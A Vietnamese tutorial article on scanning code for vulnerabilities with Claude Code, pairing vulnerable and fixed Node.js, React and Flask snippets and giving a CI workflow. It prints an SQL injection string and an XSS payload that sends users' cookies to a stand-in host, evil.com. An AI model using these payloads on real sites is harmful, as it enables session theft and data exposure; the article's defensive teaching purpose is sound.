Claude Code Security Scanning — Quét lỗ hổng bảo mật tự động trong code
Điểm nổi bật
Nhấn để đến mục tương ứng
- 1 Verify rate limiting on sensitive endpoints Bước 2: Đọc và phân loại kết quả Claude Code sẽ trả về danh sách lỗ hổng được phân loại theo mức độ nghiêm trọng.
- 2 Tháng 2/2026, Anthropic chính thức giới thiệu tính năng security scanning trên Claude Code — cho phép lập trình viên quét toàn bộ codebase để phát hiện lỗ hổng bảo mật một cách tự động.
- 3 Đây là lỗi thường gặp ở các startup Việt Nam vì "chưa cần tới": // Thêm rate limiting với express-rate-limit const rateLimit = require('express-rate-limit'); const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 phút max: 5, // Tối đa 5 lần thử message: { error: 'Quá nhiều lần thử.
- 4 Bước tiếp theo Bảo mật không phải là một tính năng — mà là một quy trình liên tục.
- 5 Log dữ liệu nhạy cảm Một lỗi ít được để ý: ghi log chứa password, token, hoặc thông tin cá nhân của người dùng.
Tháng 2/2026, Anthropic chính thức giới thiệu tính năng security scanning trên Claude Code — cho phép lập trình viên quét toàn bộ codebase để phát hiện lỗ hổng bảo mật một cách tự động. Trong giai đoạn beta, tính năng này đã phát hiện hơn 500 lỗ hổng nghiêm trọng trên các dự án thực tế, bao gồm SQL injection, Cross-Site Scripting (XSS), và các lỗi xác thực không an toàn. Bài viết này hướng dẫn bạn sử dụng Claude Code để quét bảo mật, so sánh với các công cụ SAST truyền thống, và tích hợp vào quy trình CI/CD.
Claude Code phân tích bảo mật như thế nào?
Khác với các công cụ Static Application Security Testing (SAST) truyền thống chỉ dựa vào pattern matching và regex, Claude Code sử dụng khả năng hiểu ngữ nghĩa (semantic understanding) để phân tích code. Điều này mang lại nhiều lợi thế:
- Hiểu ngữ cảnh: Claude Code hiểu được data flow từ input của người dùng đến câu truy vấn database, từ đó phát hiện SQL injection chính xác hơn
- Phát hiện logic flaws: Những lỗi bảo mật không nằm ở cú pháp mà ở logic — ví dụ: kiểm tra quyền truy cập bị bypass qua race condition
- Cross-file analysis: Theo dõi luồng dữ liệu qua nhiều file, module và hàm để phát hiện lỗ hổng xuyên suốt ứng dụng
- Giải thích bằng ngôn ngữ tự nhiên: Mỗi lỗ hổng được giải thích rõ ràng về nguyên nhân, mức độ nguy hiểm và cách khắc phục
Claude Code quét theo chuẩn OWASP Top 10 — danh sách 10 loại lỗ hổng bảo mật web phổ biến nhất, bao gồm:
- A01 — Broken Access Control: Người dùng truy cập tài nguyên không được phép
- A02 — Cryptographic Failures: Dữ liệu nhạy cảm không được mã hóa đúng cách
- A03 — Injection: SQL injection, NoSQL injection, command injection
- A04 — Insecure Design: Thiết kế hệ thống thiếu các cơ chế bảo vệ
- A05 — Security Misconfiguration: Cấu hình server, framework không an toàn
- A06 — Vulnerable Components: Sử dụng thư viện có lỗ hổng đã biết
- A07 — Authentication Failures: Xác thực yếu, session management sai
- A08 — Data Integrity Failures: Không kiểm tra tính toàn vẹn của dữ liệu
- A09 — Logging Failures: Không ghi log hoặc ghi log dữ liệu nhạy cảm
- A10 — Server-Side Request Forgery: SSRF — server bị lợi dụng để gửi request nội bộ
Bước 1: Chạy security scan trên dự án
Để bắt đầu quét bảo mật, bạn cần cài đặt Claude Code và mở terminal trong thư mục dự án. Cách đơn giản nhất là sử dụng prompt trực tiếp:
# Mở terminal trong thư mục dự án
cd /path/to/your-project
# Khởi động Claude Code
claude
# Yêu cầu quét bảo mật
> Scan this entire codebase for security vulnerabilities.
> Focus on OWASP Top 10 issues. Report each finding with:
> severity (Critical/High/Medium/Low), file path, line number,
> vulnerability type, and suggested fix.
Để quét có hệ thống hơn, bạn có thể tạo một file cấu hình CLAUDE.md trong thư mục gốc dự án với hướng dẫn bảo mật cụ thể:
# CLAUDE.md — Security scanning instructions
## Security Review Protocol
When reviewing code for security:
1. Check all user inputs for proper sanitization
2. Verify authentication/authorization on every endpoint
3. Look for hardcoded secrets, API keys, passwords
4. Check SQL queries for parameterized statements
5. Verify CORS and CSP headers configuration
6. Check for insecure deserialization
7. Review file upload handling for path traversal
8. Verify rate limiting on sensitive endpoints
Bước 2: Đọc và phân loại kết quả
Claude Code sẽ trả về danh sách lỗ hổng được phân loại theo mức độ nghiêm trọng. Dưới đây là ví dụ output thực tế (đã được làm sạch):
## Security Scan Results — 12 issues found
### CRITICAL (2)
1. SQL Injection — src/controllers/userController.js:45
User input directly concatenated into SQL query
2. Hardcoded JWT Secret — src/config/auth.js:3
JWT_SECRET = "mysecret123" in source code
### HIGH (4)
3. XSS — src/components/Comment.jsx:28
Unsanitized HTML rendered via dangerouslySetInnerHTML
4. Missing Auth Check — src/routes/admin.js:15
Admin endpoint accessible without authentication middleware
5. Insecure Password Storage — src/models/User.js:32
Password stored with MD5 hash (no salt)
6. Path Traversal — src/controllers/fileController.js:67
File path from user input not validated
### MEDIUM (4) ...
### LOW (2) ...
Ví dụ lỗ hổng thực tế và cách khắc phục
Ví dụ 1: SQL Injection trong Node.js
Đây là lỗi bảo mật phổ biến nhất trong các dự án Node.js tại Việt Nam, đặc biệt khi sử dụng raw query thay vì ORM:
Code có lỗ hổng:
// userController.js — KHÔNG AN TOÀN
app.get('/api/users', async (req, res) => {
const { search } = req.query;
// Lỗi: Nối trực tiếp input người dùng vào SQL query
const query = `SELECT * FROM users WHERE name LIKE '%${search}%'`;
const results = await db.query(query);
res.json(results);
});
// Tấn công: GET /api/users?search=' OR '1'='1' --
// Kết quả: Trả về TOÀN BỘ dữ liệu trong bảng users
Code đã khắc phục:
// userController.js — AN TOÀN
app.get('/api/users', async (req, res) => {
const { search } = req.query;
// Sử dụng parameterized query — database driver tự động escape
const query = 'SELECT * FROM users WHERE name LIKE $1';
const results = await db.query(query, [`%${search}%`]);
res.json(results);
});
// Hoặc sử dụng ORM như Prisma/Sequelize
const results = await prisma.user.findMany({
where: {
name: { contains: search }
}
});
Ví dụ 2: XSS trong React
React tự động escape output trong JSX, nhưng nhiều lập trình viên Việt Nam vô tình tạo lỗ hổng XSS khi dùng dangerouslySetInnerHTML hoặc truyền dữ liệu vào thuộc tính URL:
Code có lỗ hổng:
// Comment.jsx — KHÔNG AN TOÀN
function Comment({ comment }) {
// Lỗi: Render HTML từ người dùng mà không sanitize
return (
<div
dangerouslySetInnerHTML={{ __html: comment.body }}
/>
);
}
// Tấn công: Người dùng nhập comment có nội dung:
// <img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">
// Kết quả: Cookie của tất cả người xem bị đánh cắp
Code đã khắc phục:
// Comment.jsx — AN TOÀN
import DOMPurify from 'dompurify';
function Comment({ comment }) {
// Cách 1: Sanitize HTML trước khi render
const cleanHTML = DOMPurify.sanitize(comment.body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}
// Cách 2: Không dùng HTML — render text thuần
function CommentSafe({ comment }) {
return <div>{comment.body}</div>; // React tự động escape
}
Ví dụ 3: Xác thực không an toàn
Lỗi xác thực thường xuất hiện khi lập trình viên kiểm tra quyền truy cập ở phía client thay vì server, hoặc khi JWT được cấu hình sai:
Code có lỗ hổng:
// auth.js — KHÔNG AN TOÀN
const jwt = require('jsonwebtoken');
// Lỗi 1: Secret quá yếu và hardcode trong source
const JWT_SECRET = 'mysecret123';
// Lỗi 2: Token không có thời hạn hết hạn
function generateToken(user) {
return jwt.sign(
{ id: user.id, role: user.role },
JWT_SECRET
// Thiếu expiresIn — token có hiệu lực vĩnh viễn
);
}
// Lỗi 3: Kiểm tra role ở client-side
// frontend: if (user.role === 'admin') showAdminPanel();
// Hacker chỉ cần sửa localStorage để có quyền admin
Code đã khắc phục:
// auth.js — AN TOÀN
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
// Secret mạnh, đọc từ environment variable
const JWT_SECRET = process.env.JWT_SECRET; // 256-bit random string
if (!JWT_SECRET || JWT_SECRET.length < 32) {
throw new Error('JWT_SECRET must be at least 32 characters');
}
function generateToken(user) {
return jwt.sign(
{ id: user.id, role: user.role },
JWT_SECRET,
{
expiresIn: '1h', // Hết hạn sau 1 giờ
algorithm: 'HS256', // Chỉ định thuật toán rõ ràng
issuer: 'your-app.com' // Xác định nguồn phát hành
}
);
}
// Middleware kiểm tra quyền ở SERVER-SIDE
function requireAdmin(req, res, next) {
// Token đã được verify ở middleware trước đó
if (req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
next();
}
// Route: app.get('/admin/users', verifyToken, requireAdmin, handler);
Claude Code vs công cụ SAST truyền thống
Claude Code không thay thế hoàn toàn các công cụ SAST chuyên dụng — mỗi công cụ có thế mạnh riêng. Dưới đây là bảng so sánh chi tiết:
| Tiêu chí | Claude Code | Snyk | SonarQube | Semgrep |
|---|---|---|---|---|
| Phương pháp phân tích | Semantic (LLM) | Pattern + Dependency | AST + Rules | Pattern matching |
| Logic flaws | Tốt | Hạn chế | Trung bình | Hạn chế |
| False positive rate | Thấp | Trung bình | Cao | Thấp |
| Giải thích lỗ hổng | Ngôn ngữ tự nhiên | Template | Template | Template |
| Tự động sửa lỗi | Có (code fix) | Có (dependency) | Hạn chế | Có (autofix) |
| Dependency scanning | Gián tiếp | Rất tốt | Trung bình | Không |
| CI/CD integration | GitHub Actions | Đa nền tảng | Đa nền tảng | Đa nền tảng |
| Chi phí | Theo usage API | Free tier + trả phí | Community free | Free + trả phí |
Khi nào dùng Claude Code:
- Review code mới trước khi merge — Claude Code hiểu ngữ cảnh và giải thích rõ ràng
- Phát hiện logic flaws mà công cụ truyền thống bỏ sót
- Khi cần giải thích lỗ hổng cho developer ít kinh nghiệm bảo mật
- Audit nhanh dự án legacy chưa từng được quét bảo mật
Khi nào dùng công cụ truyền thống:
- Quét dependency vulnerabilities (CVE) — Snyk vượt trội
- Enforce coding standards toàn đội — SonarQube làm tốt việc này
- Quét liên tục trên CI/CD với tốc độ cao — Semgrep nhanh hơn
- Compliance reporting (SOC 2, ISO 27001) — cần công cụ có báo cáo chuẩn
Phương án tốt nhất: Kết hợp Claude Code với một công cụ SAST truyền thống. Ví dụ: Semgrep quét nhanh trên mỗi commit, Claude Code review sâu khi code đã qua quét bảo mật cơ bản.
Tích hợp Claude Code vào CI/CD với GitHub Actions
Bạn có thể tự động hóa quét bảo mật trên mỗi Pull Request bằng GitHub Actions. Dưới đây là workflow mẫu:
# .github/workflows/security-scan.yml
name: Claude Code Security Scan
on:
pull_request:
branches: [main, develop]
paths:
- 'src/**'
- 'api/**'
- 'server/**'
permissions:
contents: read
pull-requests: write
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
- name: Install Claude Code
run: npm install -g @anthropic-ai/claude-code
- name: Run Security Scan
env:
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
claude -p "Review the changed files in this PR for security vulnerabilities. Focus on OWASP Top 10. For each issue found, report: 1. Severity (Critical/High/Medium/Low) 2. File and line number 3. Vulnerability type 4. Explanation and fix suggestion. Output as markdown." --output-format json > scan-results.json
- name: Post results to PR
uses: actions/github-script@v7
with:
script: |
const fs = require('fs');
const results = fs.readFileSync('scan-results.json', 'utf8');
const parsed = JSON.parse(results);
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: '## Security Scan Results\n\n' + parsed.result
});
- name: Fail on critical issues
run: |
if grep -qi "CRITICAL" scan-results.json; then
echo "Critical security issues found. Blocking merge."
exit 1
fi
Workflow này sẽ:
- Tự động chạy khi có PR vào nhánh
mainhoặcdevelop - Chỉ quét các file thay đổi trong PR (tiết kiệm token)
- Đăng kết quả quét trực tiếp lên comment của PR
- Block merge nếu phát hiện lỗ hổng mức Critical
Claude Code đề xuất cách khắc phục
Một trong những điểm mạnh lớn nhất của Claude Code so với công cụ SAST truyền thống là khả năng đề xuất code fix cụ thể. Thay vì chỉ báo "có SQL injection ở dòng 45", Claude Code sẽ:
- Giải thích tại sao code hiện tại không an toàn
- Viết lại đoạn code đã khắc phục
- Giải thích tại sao bản fix này an toàn
- Đề xuất các biện pháp phòng thủ thêm (defense in depth)
Ví dụ prompt để yêu cầu Claude Code fix lỗ hổng:
> I found these security issues in my codebase.
> For each one, provide:
> 1. The vulnerable code snippet
> 2. The fixed version
> 3. Why the fix works
> 4. Any additional hardening recommendations
>
> Issues:
> - SQL injection in src/controllers/userController.js:45
> - XSS in src/components/Comment.jsx:28
> - Missing rate limiting on /api/auth/login
Claude Code sẽ trả về code trước và sau cho từng lỗ hổng, kèm giải thích chi tiết. Bạn có thể copy trực tiếp code fix vào dự án.
Best practices: Lịch trình quét bảo mật
Quét bảo mật không phải làm một lần rồi bỏ. Dưới đây là lịch trình được khuyến nghị:
Quét theo sự kiện (Event-driven)
- Mỗi Pull Request: Quét tự động qua CI/CD — bắt buộc cho mọi thay đổi code
- Trước khi release: Quét toàn diện toàn bộ codebase
- Khi thêm dependency mới: Kiểm tra lỗ hổng đã biết của thư viện
Quét định kỳ (Scheduled)
- Hàng tuần: Quét nhanh các file thay đổi trong tuần
- Hàng tháng: Full scan toàn bộ codebase + review kết quả với team
- Hàng quý: Audit toàn diện bao gồm infrastructure, secrets, và dependencies
Ưu tiên xử lý theo mức độ nghiêm trọng
- Critical: Xử lý ngay lập tức (trong 24 giờ) — SQL injection, RCE, authentication bypass
- High: Xử lý trong sprint hiện tại (1-2 tuần) — XSS, CSRF, insecure direct object reference
- Medium: Lên kế hoạch xử lý trong sprint tiếp theo — security misconfiguration, verbose errors
- Low: Thêm vào backlog — informational findings, best practice suggestions
Bối cảnh Việt Nam: Lỗi bảo mật phổ biến trong các startup
Qua kinh nghiệm làm việc với nhiều dự án tại Việt Nam, có một số lỗi bảo mật đặc trưng thường gặp:
1. Hardcode credentials trong source code
Rất nhiều dự án Việt Nam vẫn lưu API key, database password, và secret trực tiếp trong code và đẩy lên Git. Đây là lỗ hổng nghiêm trọng vì bất kỳ ai có quyền truy cập repository đều đọc được thông tin nhạy cảm.
// KHÔNG AN TOÀN — rất phổ biến trong dự án VN
const dbConfig = {
host: 'production-db.rds.amazonaws.com',
user: 'admin',
password: 'P@ssw0rd2024!', // Hardcoded password
database: 'production_db'
};
// AN TOÀN — dùng environment variables
const dbConfig = {
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME
};
2. Không validate input phía server
Nhiều team chỉ validate input ở frontend (React/Vue) mà không validate lại ở backend. Hacker có thể bypass frontend validation bằng cách gửi request trực tiếp qua curl hoặc Postman:
# Python Flask — KHÔNG AN TOÀN
@app.route('/api/transfer', methods=['POST'])
def transfer():
data = request.json
# Không validate — tin tưởng hoàn toàn input từ client
amount = data['amount'] # Có thể là số âm!
from_account = data['from']
to_account = data['to']
execute_transfer(from_account, to_account, amount)
# Python Flask — AN TOÀN
from marshmallow import Schema, fields, validate
class TransferSchema(Schema):
amount = fields.Float(required=True, validate=validate.Range(min=1000, max=500000000))
from_account = fields.String(required=True, validate=validate.Length(min=10, max=20))
to_account = fields.String(required=True, validate=validate.Length(min=10, max=20))
@app.route('/api/transfer', methods=['POST'])
def transfer():
schema = TransferSchema()
errors = schema.validate(request.json)
if errors:
return jsonify({'errors': errors}), 400
data = schema.load(request.json)
execute_transfer(data['from_account'], data['to_account'], data['amount'])
3. CORS cấu hình quá rộng
Để "cho nhanh", nhiều dev Việt Nam đặt Access-Control-Allow-Origin: * trên môi trường production, cho phép bất kỳ website nào cũng có thể gửi request đến API của bạn:
// KHÔNG AN TOÀN
app.use(cors({ origin: '*' }));
// AN TOÀN — chỉ cho phép domain cụ thể
app.use(cors({
origin: ['https://your-app.com', 'https://admin.your-app.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true
}));
4. Không có rate limiting
Thiếu rate limiting trên endpoint đăng nhập cho phép hacker brute-force password. Đây là lỗi thường gặp ở các startup Việt Nam vì "chưa cần tới":
// Thêm rate limiting với express-rate-limit
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 phút
max: 5, // Tối đa 5 lần thử
message: { error: 'Quá nhiều lần thử. Vui lòng đợi 15 phút.' },
standardHeaders: true,
legacyHeaders: false
});
app.post('/api/auth/login', loginLimiter, loginHandler);
5. Log dữ liệu nhạy cảm
Một lỗi ít được để ý: ghi log chứa password, token, hoặc thông tin cá nhân của người dùng. Khi file log bị lộ, hacker có toàn bộ dữ liệu nhạy cảm:
// KHÔNG AN TOÀN
console.log('Login attempt:', { email, password }); // Log password!
console.log('Payment:', { cardNumber, cvv }); // Log thông tin thẻ!
// AN TOÀN — chỉ log thông tin cần thiết, đã mask
console.log('Login attempt:', { email, password: '***' });
console.log('Payment:', { cardNumber: '****' + cardNumber.slice(-4) });
Tạo security checklist với Claude Code
Bạn có thể yêu cầu Claude Code tạo checklist bảo mật tùy chỉnh cho dự án của mình:
> Create a security checklist for my Node.js/Express + React application.
> Include checks for:
> - Authentication and session management
> - Input validation and output encoding
> - API security (rate limiting, CORS, headers)
> - Database security (queries, access control)
> - File upload security
> - Third-party dependencies
> - Logging and monitoring
> - Deployment security (environment variables, HTTPS)
>
> Format as a markdown checklist I can use for each sprint.
Bước tiếp theo
Bảo mật không phải là một tính năng — mà là một quy trình liên tục. Bắt đầu với việc chạy Claude Code security scan trên dự án hiện tại của bạn, ưu tiên xử lý các lỗ hổng Critical và High trước, sau đó thiết lập CI/CD pipeline để quét tự động trên mỗi PR. Kết hợp Claude Code với Snyk hoặc Semgrep để có lớp bảo vệ toàn diện. Khám phá thêm các hướng dẫn kỹ thuật tại Thư viện Ứng dụng Claude.
Bai viet co huu ich khong?
Bản quyền thuộc về tác giả. Vui lòng dẫn nguồn khi chia sẻ.






